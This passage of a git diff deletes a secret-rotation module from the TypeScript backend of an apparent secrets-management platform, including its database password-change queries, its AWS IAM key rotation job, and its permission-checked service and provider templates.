-export const secretRotationPreSetFn = (op: Record<string, TDirectAssignOp>, variables: TSecretRotationData) => {
-  const getValFn = getInterpolationValue(variables);
-  Object.entries(op || {}).forEach(([key, assignFn]) => {
-    const [type, keyName] = key.split(".") as [keyof TSecretRotationData, string];
-    variables[type][keyName] = interpolate(assignFn.value, getValFn);
-  });
-};
-
-export const secretRotationHttpSetFn = async (func: THttpProviderFunction, variables: TSecretRotationData) => {
-  const getValFn = getInterpolationValue(variables);
-  // http setter
-  const res = await secretRotationHttpFn(func, variables);
-  Object.entries(func.setter || {}).forEach(([key, assignFn]) => {
-    const [type, keyName] = key.split(".") as [keyof TSecretRotationData, string];
-    if (assignFn.assign === TAssignOp.JmesPath) {
-      variables[type][keyName] = jmespath.search(res.data, assignFn.path);
-    } else if (assignFn.value) {
-      variables[type][keyName] = interpolate(assignFn.value, getValFn);
-    }
-  });
-};
-
-export const getDbSetQuery = (db: TDbProviderClients, variables: { username: string; password: string }) => {
-  if (db === TDbProviderClients.Pg) {
-    return {
-      query: `ALTER USER ?? WITH PASSWORD '${variables.password}'`,
-      variables: [variables.username]
-    };
-  }
-
-  if (db === TDbProviderClients.MsSqlServer) {
-    return {
-      query: `ALTER LOGIN ?? WITH PASSWORD = '${variables.password}'`,
-      variables: [variables.username]
-    };
-  }
-
-  if (db === TDbProviderClients.MySql) {
-    return {
-      query: `ALTER USER ??@'%' IDENTIFIED BY '${variables.password}'`,
-      variables: [variables.username]
-    };
-  }
-
-  if (db === TDbProviderClients.OracleDB) {
-    return {
-      query: `ALTER USER ?? IDENTIFIED BY "${variables.password}"`,
-      variables: [variables.username]
-    };
-  }
-
-  // add more based on client
-  return {
-    query: `ALTER USER ?? IDENTIFIED BY '${variables.password}'`,
-    variables: [variables.username]
-  };
-};
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue-types.ts b/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue-types.ts
deleted file mode 100644
index e0d4c18761b..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue-types.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-import { TDbProviderClients } from "../templates/types";
-
-export type TSecretRotationEncData = {
-  inputs: Record<string, unknown>;
-  creds: Array<{
-    outputs: Record<string, unknown>;
-    internal: Record<string, unknown>;
-  }>;
-};
-
-export type TSecretRotationData = {
-  inputs: Record<string, unknown>;
-  outputs: Record<string, unknown>;
-  internal: Record<string, unknown>;
-};
-
-export type TSecretRotationDbFn = {
-  client: TDbProviderClients;
-  username: string;
-  password: string;
-  host: string;
-  database: string;
-  port: number;
-  query: string;
-  variables: unknown[];
-  ca?: string;
-  options?: Record<string, unknown>;
-};
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue.ts b/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue.ts
deleted file mode 100644
index 0464d23d265..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue.ts
+++ /dev/null
@@ -1,442 +0,0 @@
-import {
-  CreateAccessKeyCommand,
-  DeleteAccessKeyCommand,
-  GetAccessKeyLastUsedCommand,
-  IAMClient
-} from "@aws-sdk/client-iam";
-
-import { SecretType } from "@app/db/schemas";
-import { CustomAWSHasher } from "@app/lib/aws/hashing";
-import { getConfig } from "@app/lib/config/env";
-import { crypto, SymmetricKeySize } from "@app/lib/crypto/cryptography";
-import { daysToMillisecond, secondsToMillis } from "@app/lib/dates";
-import { NotFoundError } from "@app/lib/errors";
-import { logger } from "@app/lib/logger";
-import { alphaNumericNanoId } from "@app/lib/nanoid";
-import { QueueJobs, QueueName, TQueueServiceFactory } from "@app/queue";
-import { ActorType } from "@app/services/auth/auth-type";
-import { CommitType, TFolderCommitServiceFactory } from "@app/services/folder-commit/folder-commit-service";
-import { TKmsServiceFactory } from "@app/services/kms/kms-service";
-import { KmsDataKey } from "@app/services/kms/kms-types";
-import { TProjectBotServiceFactory } from "@app/services/project-bot/project-bot-service";
-import { TSecretDALFactory } from "@app/services/secret/secret-dal";
-import { TSecretVersionDALFactory } from "@app/services/secret/secret-version-dal";
-import { TSecretV2BridgeDALFactory } from "@app/services/secret-v2-bridge/secret-v2-bridge-dal";
-import { TSecretVersionV2DALFactory } from "@app/services/secret-v2-bridge/secret-version-dal";
-import { TTelemetryServiceFactory } from "@app/services/telemetry/telemetry-service";
-import { PostHogEventTypes } from "@app/services/telemetry/telemetry-types";
-
-import { TSecretRotationDALFactory } from "../secret-rotation-dal";
-import { rotationTemplates } from "../templates";
-import {
-  TAwsProviderSystems,
-  TDbProviderClients,
-  TProviderFunctionTypes,
-  TSecretRotationProviderTemplate
-} from "../templates/types";
-import {
-  getDbSetQuery,
-  secretRotationDbFn,
-  secretRotationHttpFn,
-  secretRotationHttpSetFn,
-  secretRotationPreSetFn
-} from "./secret-rotation-queue-fn";
-import { TSecretRotationData, TSecretRotationDbFn, TSecretRotationEncData } from "./secret-rotation-queue-types";
-
-export type TSecretRotationQueueFactory = ReturnType<typeof secretRotationQueueFactory>;
-
-type TSecretRotationQueueFactoryDep = {
-  queue: TQueueServiceFactory;
-  secretRotationDAL: TSecretRotationDALFactory;
-  projectBotService: Pick<TProjectBotServiceFactory, "getBotKey">;
-  secretDAL: Pick<TSecretDALFactory, "bulkUpdate" | "find">;
-  secretV2BridgeDAL: Pick<TSecretV2BridgeDALFactory, "bulkUpdate" | "find" | "invalidateSecretCacheByProjectId">;
-  secretVersionDAL: Pick<TSecretVersionDALFactory, "insertMany" | "findLatestVersionMany">;
-  secretVersionV2BridgeDAL: Pick<TSecretVersionV2DALFactory, "insertMany" | "findLatestVersionMany">;
-  telemetryService: Pick<TTelemetryServiceFactory, "sendPostHogEvents">;
-  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
-  folderCommitService: Pick<TFolderCommitServiceFactory, "createCommit">;
-};
-
-// These error should stop the repeatable job and ask user to reconfigure rotation
-export class DisableRotationErrors extends Error {
-  name: string;
-
-  error: unknown;
-
-  constructor({ name, error, message }: { message: string; name?: string; error?: unknown }) {
-    super(message);
-    this.name = name || "DisableRotationErrors";
-    this.error = error;
-  }
-}
-
-export const secretRotationQueueFactory = ({
-  queue,
-  secretRotationDAL,
-  projectBotService,
-  secretDAL,
-  secretVersionDAL,
-  telemetryService,
-  secretV2BridgeDAL,
-  secretVersionV2BridgeDAL,
-  folderCommitService,
-  kmsService
-}: TSecretRotationQueueFactoryDep) => {
-  const addToQueue = async () => {};
-
-  const removeFromQueue = async (rotationId: string, interval: number) => {
-    const appCfg = getConfig();
-    await queue.stopRepeatableJob(
-      QueueName.SecretRotation,
-      QueueJobs.SecretRotation,
-      {
-        // on prod it this will be in days, in development this will be second
-        every: appCfg.NODE_ENV === "development" ? secondsToMillis(interval) : daysToMillisecond(interval)
-      },
-      rotationId
-    );
-  };
-
-  queue.start(QueueName.SecretRotation, async (job) => {
-    const { rotationId } = job.data;
-    const appCfg = getConfig();
-
-    logger.info(`secretRotationQueue.process: [rotationDocument=${rotationId}]`);
-    const secretRotation = await secretRotationDAL.findById(rotationId);
-    const rotationProvider = rotationTemplates.find(({ name }) => name === secretRotation?.provider);
-
-    try {
-      if (!rotationProvider || !secretRotation) throw new DisableRotationErrors({ message: "Provider not found" });
-
-      const { botKey, shouldUseSecretV2Bridge } = await projectBotService.getBotKey(secretRotation.projectId);
-      let rotationOutputs;
-      if (shouldUseSecretV2Bridge) {
-        rotationOutputs = await secretRotationDAL.findRotationOutputsV2ByRotationId(rotationId);
-      } else {
-        rotationOutputs = await secretRotationDAL.findRotationOutputsByRotationId(rotationId);
-      }
-      if (!rotationOutputs.length) throw new DisableRotationErrors({ message: "Secrets not found" });
-
-      // deep copy
-      const provider = JSON.parse(JSON.stringify(rotationProvider)) as TSecretRotationProviderTemplate;
-      const { encryptor: secretManagerEncryptor, decryptor: secretManagerDecryptor } =
-        await kmsService.createCipherPairWithDataKey({
-          type: KmsDataKey.SecretManager,
-          projectId: secretRotation.projectId
-        });
-
-      const decryptedData = secretManagerDecryptor({
-        cipherTextBlob: secretRotation.encryptedRotationData
-      }).toString();
-
-      const variables = JSON.parse(decryptedData) as TSecretRotationEncData;
-      // rotation set cycle
-      const newCredential: TSecretRotationData = {
-        inputs: variables.inputs,
-        outputs: {},
-        internal: {}
-      };
-
-      /* Rotation Function For Database
-       * A database like sql cannot have multiple password for a user
-       * thus we ask users to create two users with required permission and then we keep cycling between these two db users
-       */
-      if (provider.template.type === TProviderFunctionTypes.DB) {
-        const lastCred = variables.creds.at(-1);
-        if (lastCred && variables.creds.length === 1) {
-          newCredential.internal.username =
-            lastCred.internal.username === variables.inputs.username1
-              ? variables.inputs.username2
-              : variables.inputs.username1;
-        } else {
-          newCredential.internal.username = lastCred ? lastCred.internal.username : variables.inputs.username1;
-        }
-        // set a random value for new password
-        newCredential.internal.rotated_password = alphaNumericNanoId(32);
-        const { admin_username: username, admin_password: password, host, database, port, ca } = newCredential.inputs;
-
-        const options =
-          provider.template.client === TDbProviderClients.MsSqlServer
-            ? ({
-                encrypt: appCfg.ENABLE_MSSQL_SECRET_ROTATION_ENCRYPT,
-                // when ca is provided use that
-                trustServerCertificate: !ca,
-                cryptoCredentialsDetails: ca ? { ca } : {}
-              } as Record<string, unknown>)
-            : undefined;
-
-        const dbFunctionArg = {
-          username,
-          password,
-          host,
-          database,
-          port,
-          ca: ca as string,
-          client: provider.template.client === TDbProviderClients.MySql ? "mysql2" : provider.template.client,
-          options
-        } as TSecretRotationDbFn;
-
-        // set function
-        await secretRotationDbFn({
-          ...dbFunctionArg,
-          ...getDbSetQuery(provider.template.client, {
-            password: newCredential.internal.rotated_password as string,
-            username: newCredential.internal.username as string
-          })
-        });
-
-        // test function
-        const testQuery =
-          provider.template.client === TDbProviderClients.MsSqlServer ? "SELECT GETDATE()" : "SELECT NOW()";
-
-        await secretRotationDbFn({
-          ...dbFunctionArg,
-          query: testQuery,
-          variables: []
-        });
-
-        newCredential.outputs.db_username = newCredential.internal.username;
-        newCredential.outputs.db_password = newCredential.internal.rotated_password;
-        // clean up
-        if (variables.creds.length === 2) variables.creds.pop();
-      }
-
-      /*
-       * Rotation Function For AWS Services
-       * Due to complexity in AWS Authorization hashing signature process we keep it as seperate entity instead of http template mode
-       * We first delete old key before creating a new one because aws iam has a quota limit of 2 keys
-       * */
-      if (provider.template.type === TProviderFunctionTypes.AWS) {
-        if (provider.template.client === TAwsProviderSystems.IAM) {
-          const client = new IAMClient({
-            useFipsEndpoint: crypto.isFipsModeEnabled(),
-            sha256: CustomAWSHasher,
-            region: newCredential.inputs.manager_user_aws_region as string,
-            credentials: {
-              accessKeyId: newCredential.inputs.manager_user_access_key as string,
-              secretAccessKey: newCredential.inputs.manager_user_secret_key as string
-            }
-          });
-
-          const iamUserName = newCredential.inputs.iam_username as string;
-
-          if (variables.creds.length === 2) {
-            const deleteCycleCredential = variables.creds.pop();
-            if (deleteCycleCredential) {
-              const deletedIamAccessKey = await client.send(
-                new DeleteAccessKeyCommand({
-                  UserName: iamUserName,
-                  AccessKeyId: deleteCycleCredential.outputs.iam_user_access_key as string
-                })
-              );
-
-              if (
-                !deletedIamAccessKey?.$metadata?.httpStatusCode ||
-                deletedIamAccessKey?.$metadata?.httpStatusCode > 300
-              ) {
-                throw new DisableRotationErrors({
-                  message: "Failed to delete aws iam access key. Check managed iam user policy"
-                });
-              }
-            }
-          }
-
-          const newIamAccessKey = await client.send(new CreateAccessKeyCommand({ UserName: iamUserName }));
-          if (!newIamAccessKey.AccessKey)
-            throw new DisableRotationErrors({ message: "Failed to create access key. Check managed iam user policy" });
-
-          // test
-          const testAccessKey = await client.send(
-            new GetAccessKeyLastUsedCommand({ AccessKeyId: newIamAccessKey.AccessKey.AccessKeyId })
-          );
-          if (testAccessKey?.UserName !== iamUserName)
-            throw new DisableRotationErrors({ message: "Failed to create access key. Check managed iam user policy" });
-
-          newCredential.outputs.iam_user_access_key = newIamAccessKey.AccessKey.AccessKeyId;
-          newCredential.outputs.iam_user_secret_key = newIamAccessKey.AccessKey.SecretAccessKey;
-        }
-      }
-
-      /* Rotation function of HTTP infisical template
-       * This is a generic http based template system for rotation
-       * we use this for sendgrid and for custom secret rotation
-       * This will ensure user provided rotation is easier to make
-       * */
-      if (provider.template.type === TProviderFunctionTypes.HTTP) {
-        if (provider.template.functions.set?.pre) {
-          secretRotationPreSetFn(provider.template.functions.set.pre, newCredential);
-        }
-        await secretRotationHttpSetFn(provider.template.functions.set, newCredential);
-        // now test
-        await secretRotationHttpFn(provider.template.functions.test, newCredential);
-        if (variables.creds.length === 2) {
-          const deleteCycleCred = variables.creds.pop();
-          if (deleteCycleCred && provider.template.functions.remove) {
-            const deleteCycleVar = { inputs: variables.inputs, ...deleteCycleCred };
-            await secretRotationHttpFn(provider.template.functions.remove, deleteCycleVar);
-          }
-        }
-      }
-
-      // insert the new variables to start
-      // encrypt the data - save it
-      variables.creds.unshift({
-        outputs: newCredential.outputs,
-        internal: newCredential.internal
-      });
-      const encryptedRotationData = secretManagerEncryptor({
-        plainText: Buffer.from(JSON.stringify(variables))
-      }).cipherTextBlob;
-
-      const numberOfSecretsRotated = rotationOutputs.length;
-      if (shouldUseSecretV2Bridge) {
-        const encryptedSecrets = rotationOutputs.map(({ key: outputKey, secretId }) => ({
-          secretId,
-          value:
-            typeof newCredential.outputs[outputKey] === "object"
-              ? JSON.stringify(newCredential.outputs[outputKey])
-              : String(newCredential.outputs[outputKey])
-        }));
-        // map the final values to output keys in the board
-        await secretRotationDAL.transaction(async (tx) => {
-          await secretRotationDAL.updateById(
-            rotationId,
-            {
-              encryptedRotationData,
-              lastRotatedAt: new Date(),
-              statusMessage: "Rotated successfull",
-              status: "success"
-            },
-            tx
-          );
-          const updatedSecrets = await secretV2BridgeDAL.bulkUpdate(
-            encryptedSecrets.map(({ secretId, value }) => ({
-              // this secret id is validated when user is inserted
-              filter: { id: secretId, type: SecretType.Shared },
-              data: {
-                encryptedValue: secretManagerEncryptor({ plainText: Buffer.from(value) }).cipherTextBlob
-              }
-            })),
-            tx
-          );
-          const secretVersions = await secretVersionV2BridgeDAL.insertMany(
-            updatedSecrets.map(({ id, updatedAt, createdAt, ...el }) => ({
-              ...el,
-              actorType: ActorType.PLATFORM,
-              secretId: id
-            })),
-            tx
-          );
-
-          await folderCommitService.createCommit(
-            {
-              actor: {
-                type: ActorType.PLATFORM
-              },
-              message: "Changed by Secret rotation",
-              folderId: secretVersions[0].folderId,
-              changes: secretVersions.map((sv) => ({
-                type: CommitType.ADD,
-                isUpdate: true,
-                secretVersionId: sv.id
-              }))
-            },
-            tx
-          );
-          await secretV2BridgeDAL.invalidateSecretCacheByProjectId(secretRotation.projectId, tx);
-        });
-      } else {
-        if (!botKey)
-          throw new NotFoundError({
-            message: `Project bot not found for project with ID '${secretRotation.projectId}'`
-          });
-
-        const encryptedSecrets = rotationOutputs.map(({ key: outputKey, secretId }) => ({
-          secretId,
-          value: crypto
-            .encryption()
-            .symmetric()
-            .encrypt({
-              plaintext:
-                typeof newCredential.outputs[outputKey] === "object"
-                  ? JSON.stringify(newCredential.outputs[outputKey])
-                  : String(newCredential.outputs[outputKey]),
-              key: botKey,
-              keySize: SymmetricKeySize.Bits128
-            })
-        }));
-
-        // map the final values to output keys in the board
-        await secretRotationDAL.transaction(async (tx) => {
-          await secretRotationDAL.updateById(
-            rotationId,
-            {
-              encryptedRotationData,
-              lastRotatedAt: new Date(),
-              statusMessage: "Rotated successfull",
-              status: "success"
-            },
-            tx
-          );
-          const updatedSecrets = await secretDAL.bulkUpdate(
-            encryptedSecrets.map(({ secretId, value }) => ({
-              // this secret id is validated when user is inserted
-              filter: { id: secretId, type: SecretType.Shared },
-              data: {
-                secretValueCiphertext: value.ciphertext,
-                secretValueIV: value.iv,
-                secretValueTag: value.tag
-              }
-            })),
-            tx
-          );
-          await secretVersionDAL.insertMany(
-            updatedSecrets.map(({ id, updatedAt, createdAt, ...el }) => {
-              if (!el.secretBlindIndex) {
-                throw new NotFoundError({ message: `Secret blind index not found on secret with ID '${id}` });
-              }
-              return {
-                ...el,
-                secretId: id,
-                secretBlindIndex: el.secretBlindIndex
-              };
-            }),
-            tx
-          );
-        });
-      }
-
-      await telemetryService.sendPostHogEvents({
-        event: PostHogEventTypes.SecretRotated,
-        distinctId: "",
-        properties: {
-          numberOfSecrets: numberOfSecretsRotated,
-          environment: secretRotation.environment.slug,
-          secretPath: secretRotation.secretPath,
-          projectId: secretRotation.projectId
-        }
-      });
-
-      logger.info("Finished rotating: rotation id: ", rotationId);
-    } catch (error) {
-      logger.error(error, "Failed to execute secret rotation");
-      if (error instanceof DisableRotationErrors) {
-        if (job.id) {
-          await queue.stopRepeatableJobByJobId(QueueName.SecretRotation, job.id);
-        }
-      }
-
-      await secretRotationDAL.updateById(rotationId, {
-        status: "failed",
-        statusMessage: (error as Error).message.slice(0, 500),
-        lastRotatedAt: new Date()
-      });
-    }
-  });
-
-  return {
-    addToQueue,
-    removeFromQueue
-  };
-};
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-service.ts b/backend/src/ee/services/secret-rotation/secret-rotation-service.ts
deleted file mode 100644
index a093f879072..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-service.ts
+++ /dev/null
@@ -1,312 +0,0 @@
-import { ForbiddenError, subject } from "@casl/ability";
-import Ajv from "ajv";
-
-import { ActionProjectType, ProjectVersion, TableName } from "@app/db/schemas";
-import { crypto, SymmetricKeySize } from "@app/lib/crypto/cryptography";
-import { BadRequestError, NotFoundError } from "@app/lib/errors";
-import { TProjectPermission } from "@app/lib/types";
-import { TKmsServiceFactory } from "@app/services/kms/kms-service";
-import { KmsDataKey } from "@app/services/kms/kms-types";
-import { TProjectDALFactory } from "@app/services/project/project-dal";
-import { TProjectBotServiceFactory } from "@app/services/project-bot/project-bot-service";
-import { TSecretDALFactory } from "@app/services/secret/secret-dal";
-import { TSecretFolderDALFactory } from "@app/services/secret-folder/secret-folder-dal";
-import { TSecretV2BridgeDALFactory } from "@app/services/secret-v2-bridge/secret-v2-bridge-dal";
-
-import { TLicenseServiceFactory } from "../license/license-service";
-import { TPermissionServiceFactory } from "../permission/permission-service-types";
-import {
-  ProjectPermissionSecretActions,
-  ProjectPermissionSecretRotationActions,
-  ProjectPermissionSub
-} from "../permission/project-permission";
-import { TSecretRotationDALFactory } from "./secret-rotation-dal";
-import { TSecretRotationQueueFactory } from "./secret-rotation-queue";
-import { TSecretRotationEncData } from "./secret-rotation-queue/secret-rotation-queue-types";
-import { TCreateSecretRotationDTO, TDeleteDTO, TListByProjectIdDTO, TRestartDTO } from "./secret-rotation-types";
-import { rotationTemplates } from "./templates";
-
-type TSecretRotationServiceFactoryDep = {
-  secretRotationDAL: TSecretRotationDALFactory;
-  projectDAL: Pick<TProjectDALFactory, "findById">;
-  folderDAL: Pick<TSecretFolderDALFactory, "findBySecretPath">;
-  secretDAL: Pick<TSecretDALFactory, "find">;
-  secretV2BridgeDAL: Pick<TSecretV2BridgeDALFactory, "find">;
-  licenseService: Pick<TLicenseServiceFactory, "getPlan">;
-  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
-  secretRotationQueue: TSecretRotationQueueFactory;
-  projectBotService: Pick<TProjectBotServiceFactory, "getBotKey">;
-  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
-};
-
-export type TSecretRotationServiceFactory = ReturnType<typeof secretRotationServiceFactory>;
-
-const ajv = new Ajv({ strict: false });
-export const secretRotationServiceFactory = ({
-  secretRotationDAL,
-  permissionService,
-  secretRotationQueue,
-  licenseService,
-  projectDAL,
-  folderDAL,
-  secretDAL,
-  projectBotService,
-  secretV2BridgeDAL,
-  kmsService
-}: TSecretRotationServiceFactoryDep) => {
-  const getProviderTemplates = async ({
-    actor,
-    actorId,
-    actorOrgId,
-    actorAuthMethod,
-    projectId
-  }: TProjectPermission) => {
-    const { permission } = await permissionService.getProjectPermission({
-      actor,
-      actorId,
-      projectId,
-      actorAuthMethod,
-      actorOrgId,
-      actionProjectType: ActionProjectType.SecretManager
-    });
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionSecretRotationActions.Read,
-      ProjectPermissionSub.SecretRotation
-    );
-
-    return {
-      custom: [],
-      providers: rotationTemplates
-    };
-  };
-
-  const createRotation = async ({
-    projectId,
-    actorId,
-    actor,
-    actorOrgId,
-    actorAuthMethod,
-    inputs,
-    outputs,
-    interval,
-    provider,
-    secretPath,
-    environment
-  }: TCreateSecretRotationDTO) => {
-    const { permission } = await permissionService.getProjectPermission({
-      actor,
-      actorId,
-      projectId,
-      actorAuthMethod,
-      actorOrgId,
-      actionProjectType: ActionProjectType.SecretManager
-    });
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionSecretRotationActions.Read,
-      ProjectPermissionSub.SecretRotation
-    );
-
-    const folder = await folderDAL.findBySecretPath(projectId, environment, secretPath);
-    if (!folder) {
-      throw new NotFoundError({
-        message: `Secret path with path '${secretPath}' not found in environment with slug '${environment}'`
-      });
-    }
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionSecretActions.Edit,
-      subject(ProjectPermissionSub.Secrets, { environment, secretPath })
-    );
-
-    const project = await projectDAL.findById(projectId);
-    const shouldUseBridge = project.version === ProjectVersion.V3;
-
-    if (shouldUseBridge) {
-      const selectedSecrets = await secretV2BridgeDAL.find({
-        folderId: folder.id,
-        $in: { [`${TableName.SecretV2}.id` as "id"]: Object.values(outputs) }
-      });
-      if (selectedSecrets.length !== Object.values(outputs).length)
-        throw new NotFoundError({ message: `Secrets not found in folder with ID '${folder.id}'` });
-      const rotatedSecrets = selectedSecrets.filter(({ isRotatedSecret }) => isRotatedSecret);
-      if (rotatedSecrets.length)
-        throw new BadRequestError({
-          message: `Selected secrets are already used for rotation: ${rotatedSecrets
-            .map((secret) => secret.key)
-            .join(", ")}`
-        });
-    } else {
-      const selectedSecrets = await secretDAL.find({
-        folderId: folder.id,
-        $in: { id: Object.values(outputs) }
-      });
-      if (selectedSecrets.length !== Object.values(outputs).length)
-        throw new NotFoundError({ message: `Secrets not found in folder with ID '${folder.id}'` });
-    }
-
-    const plan = await licenseService.getPlan(project.orgId);
-    if (!plan.secretRotation)
-      throw new BadRequestError({
-        message: "Failed to add secret rotation due to plan restriction. Upgrade plan to add secret rotation."
-      });
-
-    const selectedTemplate = rotationTemplates.find(({ name }) => name === provider);
-    if (!selectedTemplate) throw new NotFoundError({ message: `Provider with name '${provider}' not found` });
-    const formattedInputs: Record<string, unknown> = {};
-    Object.entries(inputs).forEach(([key, value]) => {
-      const { type } = selectedTemplate.template.inputs.properties[key];
-      if (type === "string") {
-        formattedInputs[key] = value;
-        return;
-      }
-      if (type === "integer") {
-        formattedInputs[key] = parseInt(value as string, 10);
-        return;
-      }
-      formattedInputs[key] = JSON.parse(value as string);
-    });
-    // ensure input one follows the correct schema
-    const valid = ajv.validate(selectedTemplate.template.inputs, formattedInputs);
-    if (!valid) {
-      throw new BadRequestError({ message: ajv.errors?.[0].message });
-    }
-
-    const unencryptedData: Partial<TSecretRotationEncData> = {
-      inputs: formattedInputs,
-      creds: []
-    };
-    const { encryptor: secretManagerEncryptor } = await kmsService.createCipherPairWithDataKey({
-      type: KmsDataKey.SecretManager,
-      projectId
-    });
-
-    const secretRotation = await secretRotationDAL.transaction(async (tx) => {
-      const doc = await secretRotationDAL.create(
-        {
-          provider,
-          secretPath,
-          interval,
-          envId: folder.envId,
-          encryptedRotationData: secretManagerEncryptor({ plainText: Buffer.from(JSON.stringify(unencryptedData)) })
-            .cipherTextBlob
-        },
-        tx
-      );
-      let outputSecretMapping;
-      if (shouldUseBridge) {
-        outputSecretMapping = await secretRotationDAL.secretOutputV2InsertMany(
-          Object.entries(outputs).map(([key, secretId]) => ({ key, secretId, rotationId: doc.id })),
-          tx
-        );
-      } else {
-        outputSecretMapping = await secretRotationDAL.secretOutputInsertMany(
-          Object.entries(outputs).map(([key, secretId]) => ({ key, secretId, rotationId: doc.id })),
-          tx
-        );
-      }
-      return { ...doc, outputs: outputSecretMapping, environment: folder.environment };
-    });
-    await secretRotationQueue.addToQueue();
-    return secretRotation;
-  };
-
-  const getByProjectId = async ({ actorId, projectId, actor, actorOrgId, actorAuthMethod }: TListByProjectIdDTO) => {
-    const { permission } = await permissionService.getProjectPermission({
-      actor,
-      actorId,
-      projectId,
-      actorAuthMethod,
-      actorOrgId,
-      actionProjectType: ActionProjectType.SecretManager
-    });
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionSecretRotationActions.Read,
-      ProjectPermissionSub.SecretRotation
-    );
-    const { botKey, shouldUseSecretV2Bridge } = await projectBotService.getBotKey(projectId);
-    if (shouldUseSecretV2Bridge) {
-      const docs = await secretRotationDAL.findSecretV2({ projectId });
-      return docs;
-    }
-
-    if (!botKey) throw new NotFoundError({ message: `Project bot not found for project with ID '${projectId}'` });
-    const docs = await secretRotationDAL.find({ projectId });
-
-    return docs.map((el) => ({
-      ...el,
-      outputs: el.outputs.map((output) => ({
-        ...output,
-        secret: {
-          id: output.secret.id,
-          version: output.secret.version,
-          secretKey: crypto.encryption().symmetric().decrypt({
-            ciphertext: output.secret.secretKeyCiphertext,
-            iv: output.secret.secretKeyIV,
-            tag: output.secret.secretKeyTag,
-            key: botKey,
-            keySize: SymmetricKeySize.Bits128
-          })
-        }
-      }))
-    }));
-  };
-
-  const restartById = async ({ actor, actorId, actorOrgId, actorAuthMethod, rotationId }: TRestartDTO) => {
-    const doc = await secretRotationDAL.findById(rotationId);
-    if (!doc) throw new NotFoundError({ message: `Rotation with ID '${rotationId}' not found` });
-
-    const project = await projectDAL.findById(doc.projectId);
-    const plan = await licenseService.getPlan(project.orgId);
-    if (!plan.secretRotation)
-      throw new BadRequestError({
-        message: "Failed to add secret rotation due to plan restriction. Upgrade plan to add secret rotation."
-      });
-
-    const { permission } = await permissionService.getProjectPermission({
-      actor,
-      actorId,
-      projectId: project.id,
-      actorAuthMethod,
-      actorOrgId,
-      actionProjectType: ActionProjectType.SecretManager
-    });
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionSecretRotationActions.Edit,
-      ProjectPermissionSub.SecretRotation
-    );
-    await secretRotationQueue.removeFromQueue(doc.id, doc.interval);
-    await secretRotationQueue.addToQueue();
-    return doc;
-  };
-
-  const deleteById = async ({ actor, actorId, actorOrgId, actorAuthMethod, rotationId }: TDeleteDTO) => {
-    const doc = await secretRotationDAL.findById(rotationId);
-    if (!doc) throw new NotFoundError({ message: `Rotation with ID '${rotationId}' not found` });
-
-    const { permission } = await permissionService.getProjectPermission({
-      actor,
-      actorId,
-      projectId: doc.projectId,
-      actorAuthMethod,
-      actorOrgId,
-      actionProjectType: ActionProjectType.SecretManager
-    });
-    ForbiddenError.from(permission).throwUnlessCan(
-      ProjectPermissionSecretRotationActions.Delete,
-      ProjectPermissionSub.SecretRotation
-    );
-    const deletedDoc = await secretRotationDAL.transaction(async (tx) => {
-      const strat = await secretRotationDAL.deleteById(rotationId, tx);
-      return strat;
-    });
-    await secretRotationQueue.removeFromQueue(deletedDoc.id, deletedDoc.interval);
-    return { ...doc, ...deletedDoc };
-  };
-
-  return {
-    getProviderTemplates,
-    getByProjectId,
-    createRotation,
-    restartById,
-    deleteById
-  };
-};
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-types.ts b/backend/src/ee/services/secret-rotation/secret-rotation-types.ts
deleted file mode 100644
index 990bf3ecaab..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-types.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import { TProjectPermission } from "@app/lib/types";
-
-export type TCreateSecretRotationDTO = {
-  secretPath: string;
-  environment: string;
-  interval: number;
-  provider: string;
-  inputs: Record<string, unknown>;
-  outputs: Record<string, string>;
-} & TProjectPermission;
-
-export type TListByProjectIdDTO = TProjectPermission;
-
-export type TDeleteDTO = {
-  rotationId: string;
-} & Omit<TProjectPermission, "projectId">;
-
-export type TRestartDTO = {
-  rotationId: string;
-} & Omit<TProjectPermission, "projectId">;
diff --git a/backend/src/ee/services/secret-rotation/templates/aws-iam.ts b/backend/src/ee/services/secret-rotation/templates/aws-iam.ts
deleted file mode 100644
index d4506c26e91..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/aws-iam.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-import { TAwsProviderSystems, TProviderFunctionTypes } from "./types";
-
-export const AWS_IAM_TEMPLATE = {
-  type: TProviderFunctionTypes.AWS as const,
-  client: TAwsProviderSystems.IAM,
-  inputs: {
-    type: "object" as const,
-    properties: {
-      manager_user_access_key: { type: "string" as const },
-      manager_user_secret_key: { type: "string" as const },
-      manager_user_aws_region: { type: "string" as const },
-      iam_username: { type: "string" as const }
-    },
-    required: ["manager_user_access_key", "manager_user_secret_key", "manager_user_aws_region", "iam_username"],
-    additionalProperties: false
-  },
-  outputs: {
-    iam_user_access_key: { type: "string" },
-    iam_user_secret_key: { type: "string" }
-  }
-};
diff --git a/backend/src/ee/services/secret-rotation/templates/index.ts b/backend/src/ee/services/secret-rotation/templates/index.ts
deleted file mode 100644
index ce3ecd68724..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/index.ts
+++ /dev/null
@@ -1,46 +0,0 @@
-import { AWS_IAM_TEMPLATE } from "./aws-iam";
-import { MSSQL_TEMPLATE } from "./mssql";
-import { MYSQL_TEMPLATE } from "./mysql";
-import { POSTGRES_TEMPLATE } from "./postgres";
-import { SENDGRID_TEMPLATE } from "./sendgrid";
